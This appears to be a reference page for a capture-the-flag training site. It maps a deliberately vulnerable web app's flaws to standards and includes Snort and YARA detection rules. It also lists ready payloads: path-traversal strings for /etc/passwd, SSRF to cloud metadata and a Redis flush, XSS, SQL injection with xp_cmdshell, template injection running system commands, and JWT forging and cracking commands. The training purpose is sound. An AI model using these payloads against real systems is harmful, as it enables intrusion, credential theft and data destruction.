CyberWorld :: Lore Vault
FLLC Purple-Team OS // training surface only
A deliberately dense vault of references and recon material. Treat it as a CTF prop:
everything here is real public knowledge, none of it is the answer key, and a few items
are decoys in disguise. The honest entry points are challenge.html and
intercept.html.
Attack tree
cyberworld :: web-app auth bypass
.
+-- tier 1 client-side audit [F01-F10]
| +-- credentials never validated server-side (CWE-602)
| +-- session token forgeable in sessionStorage (CWE-384)
| +-- CSP allows inline scripts (CWE-1021)
| +-- honeypot bot-friction only (not security)
| +-- PNG signature + IEND tail + alpha-LSB stego
| +-- weak-password Bloom filter is client-side (CWE-521)
| +-- Hashcash 18-bit = compute, not identity (CWE-294)
| +-- inline bootstrap is deliberate teaching artifact
| +-- console.html re-validates the same chain
+-- tier 2 cryptanalysis [F11-F15]
| +-- RSA toy n=3233 trial-divides (CWE-326)
| +-- ECDSA P-256 verified -- NOT the attack vector
| +-- HMAC trunc 16-bit -> 2^8 birthday (CWE-326)
| +-- Vigenere Z/26 Kasiski + IC (RFC 7515 sec.A.1 prose)
+-- tier 3 intel pivot [F16-F20]
| +-- CVE attribution (NVD)
| +-- ATT&CK technique mapping (T1078)
| +-- IR phase recognition (NIST SP 800-61 R3)
| +-- actor cluster (Mandiant UNC tracker)
| +-- ZWSP stego (U+200B / U+200D)
+-- tier 4 web pentest [F21-F30]
| +-- alg=none JWT acceptance (CVE-2015-9235 class)
| +-- IDOR / BOLA on /profile (CWE-639)
| +-- path traversal on /files (CWE-22)
| +-- X-Forwarded-For trust on /admin/geo (CWE-348)
| +-- HPP last-wins on /hpp (CWE-235)
| +-- race condition on /redeem (CWE-362)
+-- tier 5 deeper chain [F31-F33]
+-- HS/RS JWT key confusion (RFC 8725 sec.3.1)
+-- prototype pollution -> admin/console (CWE-1321)
+-- SW cache-vs-auth confusion (CWE-639 variant)
RFC / standards excerpts (paraphrased)
RFC 7515 sec. 8 (JWS Unsecured)
"none" indicates an unsecured JWS. Implementations that verify a signature MUST reject "none" as an algorithm by default. The Tier-4 SW does not. That is the lesson.
RFC 8725 sec. 3.1 (JWT BCP)
Algorithm confusion: a verifier that does not bind the public key to the
expected algorithm can be tricked into using an RSA public key as an HMAC secret. The
Tier-5 SW does this on /api/v1/internal/super.
RFC 9110 sec. 5 (HTTP semantics)
Request and response headers are advisory; trust in them must be earned
by upstream context. X-Forwarded-For is set by intermediaries; trusting the
first hop is the F27 mistake.
RFC 6797 (HSTS)
Strict-Transport-Security pins TLS-only access. CSP upgrade-insecure-requests
is the per-document analog; both ship on this page.
NIST control mapping
- AC-2 Account Management -- mirrored in our IDOR demo
- AC-3 Access Enforcement -- /admin/users is the canonical violation
- AC-6 Least Privilege -- broken by JWT role=admin forgery
- AU-2 Audit Events -- absent from this static surface (by design)
- IA-2 Identification and Authentication -- by Hashcash + session token only
- IA-5 Authenticator Management -- weak-password Bloom is intentionally bypassable
- SC-7 Boundary Protection -- /api/v1/admin/geo trusts X-Forwarded-For
- SC-12 Cryptographic Key Establishment -- key confusion in HS/RS path
- SC-23 Session Authenticity -- session HMAC binds asset to session
- SI-10 Information Input Validation -- absent on /api/v1/config/merge (proto pollution)
MITRE ATT&CK / D3FEND
- T1078 Valid Accounts -- the F17 answer; defended by D3-PWA (Strong Password Policy)
- T1190 Exploit Public-Facing Application -- maps to F26 / F22 / F27
- T1505.003 Server Software Component: Web Shell -- not implemented; mentioned for recon
- T1556 Modify Authentication Process -- the chain F22 + F31 effectively does this
- T1606 Forge Web Credentials -- F22 / F24 / F31 are all instances
- D3FEND D3-OTF One-Time Password -- not implemented; defense the gate lacks
- D3FEND D3-MFA Multi-Factor Authentication -- same
OWASP Top 10 (2021) mapping
- A01 Broken Access Control -- F23, F24, F25, F33
- A02 Cryptographic Failures -- F11, F14, F22, F31
- A03 Injection -- F26 (path), F32 (proto pollution as injection variant)
- A04 Insecure Design -- F08 (PoW != identity), F09 (CSP audit artefact)
- A05 Security Misconfiguration -- F03 ('unsafe-inline'), F23 (decoy cookies)
- A07 Identification and Authentication Failures -- F01, F02, F22, F24
- A08 Software and Data Integrity Failures -- F05 / F06 (asset binding)
- A09 Security Logging and Monitoring Failures -- absent by design
- A10 SSRF -- not implemented (out of scope on a static host)
Snort / Suricata / YARA recon (samples; not active)
alert http any any -> any 80 ( msg:"CYBERWORLD F22 alg=none JWT attempt"; flow:to_server,established; content:"Authorization|3a 20|Bearer "; http_header; pcre:"/Bearer\s+[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.($|[\s\r\n])/H"; classtype:web-application-attack; sid:1000022; rev:1; )
rule cyberworld_F26_traversal {
meta:
description = "F26 path-traversal probe against /api/v1/files"
author = "PersonFu / FLLC"
cwe = "CWE-22"
strings:
$a = "/api/v1/files?name=" ascii
$b = "../" ascii
$c = "etc/cyberworld.flag" ascii
condition:
$a and $b and $c
}
alert http any any -> any any ( msg:"CYBERWORLD F27 X-Forwarded-For trust probe"; flow:to_server,established; content:"X-Forwarded-For|3a 20|127.0.0.1"; http_header; classtype:policy-violation; sid:1000027; rev:1; )
Common payload shapes (for grep recon)
LFI / path traversal
../../../etc/passwd ....//....//....//etc/passwd %2e%2e/%2e%2e/etc/passwd php://filter/convert.base64-encode/resource=index.php /proc/self/environ file:///etc/cyberworld.flag
SSRF
http://127.0.0.1:8080/_internal http://[::1]:80/admin http://169.254.169.254/latest/meta-data/ # AWS IMDS v1 gopher://127.0.0.1:6379/_FLUSHALL%0d%0a # Redis SSRF dict://internal/INFO
XSS (sanitized; do not use)
"><svg/onload=alert(1)> <img src=x onerror=alert(1)> javascript:alert(1) '-alert(1)-' <iframe srcdoc='<svg/onload=alert(1)>'>
SQLi sketches (no SQL on this host)
' OR 1=1--
UNION SELECT NULL,NULL,version()--
' AND SUBSTRING(@@version,1,1)='5'--
'; EXEC xp_cmdshell('whoami')--
' WAITFOR DELAY '0:0:5'--
SSTI sketches (no template engine here)
{{7*7}} # Jinja2 / Twig
${7*7} # Velocity / Freemarker
<%= 7*7 %> # ERB / EJS
#{7*7} # Ruby / Pug
<%= system('id') %>
JWT one-liners
# forge alg=none
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr +/ -_ | tr -d =
echo -n '{"role":"admin"}' | base64 -w0 | tr +/ -_ | tr -d =
# then concat with a trailing dot
# brute-force HS256 with hashcat
hashcat -m 16500 token.txt rockyou.txt
ELF / PE / PNG byte layouts
PNG: 89 50 4e 47 0d 0a 1a 0a (8-byte signature)
...chunks (length, type, data, CRC)...
00 00 00 00 49 45 4e 44 ae 42 60 82 (IEND, last chunk)
ELF: 7f 45 4c 46 02 01 01 00 (magic + class + endian)
...e_ident... (16 bytes total)
e_type, e_machine, e_version (then header)
PE: 4d 5a ... 50 45 00 00 ("MZ" stub + "PE\0\0" sig)
0x14c (i386) / 0x8664 (x86_64) / 0xaa64 (arm64) machine values
HTTP/2 frame types (informational)
0x0 DATA 0x1 HEADERS 0x2 PRIORITY 0x3 RST_STREAM 0x4 SETTINGS 0x5 PUSH_PROMISE 0x6 PING 0x7 GOAWAY 0x8 WINDOW_UPDATE 0x9 CONTINUATION
Cipher suites worth remembering
TLS_AES_256_GCM_SHA384 (TLS 1.3 mandatory MTI) TLS_CHACHA20_POLY1305_SHA256 (TLS 1.3, mobile-friendly) ECDHE-ECDSA-AES256-GCM-SHA384 (TLS 1.2) ECDHE-RSA-CHACHA20-POLY1305 (TLS 1.2)
Quick-grep shortcuts the analyst should know
# find tokens in JS bundles
grep -rEon 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' .
# find SHA-256 hexes
grep -rEon '\b[0-9a-f]{64}\b' .
# find AWS keys (decoy fingerprint)
grep -rEon 'AKIA[0-9A-Z]{16}' .
# find base64 blobs
grep -rEon '[A-Za-z0-9+/]{40,}={0,2}' . | head
# decode the source decoy
echo REVDT1lfRjAwX25vdF9hX2ZsYWc= | base64 -d
Pirate codex
Articles I -- IV of the Cyberworld Pirate Code (training edition):
- Ye shall not exfiltrate that which thou cannot prove; the only proof here is hashes.
- Ye shall not type real credentials into a static-site gate; the gate accepts anything.
- Ye shall verify thine own work against the manifest commitments before ye claim the flag.
- Ye shall not chase every decoy; the truly poisoned `.env.bak` has the watermark
DECOY__.
// PersonFu <https://github.com/Personfu> / FLLC <https://fllc.net> // FLLC Purple-Team OS // provided as is for demonstration and educational purposes only.